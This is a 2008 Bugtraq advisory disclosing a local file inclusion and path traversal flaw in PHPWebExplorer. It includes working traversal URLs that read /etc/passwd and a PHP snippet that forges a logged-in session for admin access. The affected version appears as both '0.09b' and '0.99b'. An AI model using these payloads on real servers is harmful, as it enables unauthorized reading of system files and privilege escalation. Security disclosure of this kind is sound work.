Bugtraq mailing list archives

PHPWebExplorer <= 0.09b: Local File Inclusion Vulnerability


From: Pepelux <pepelux () enye-sec org>
Date: Sat, 4 Oct 2008 17:58:05 +0200

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
PHPWebExplorer <= 0.09b: Local File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Program: PHPWebExplorer
$ File(s) affected: main.php / edit.php
$ Version: 0.99b
$ Download: http://sourceforge.net/projects/phpwebexplorer/


Found by Pepelux <pepelux[at]enye-sec.org>
eNYe-Sec - www.enye-sec.org


-- Exploit --
If you have access to the control panel:
http://localhost/main.php?refer=d&d=../../../etc
http://localhost/edit.php?file=../../../etc/passwd

If you are not a register user but you have access to write any file to the
server (ex: a shared server where you can create an account) you can win
admin privileges creating and executing a simple PHP:

<?
session_start();
$_SESSION['logged_in']='user1';
?>


Current thread: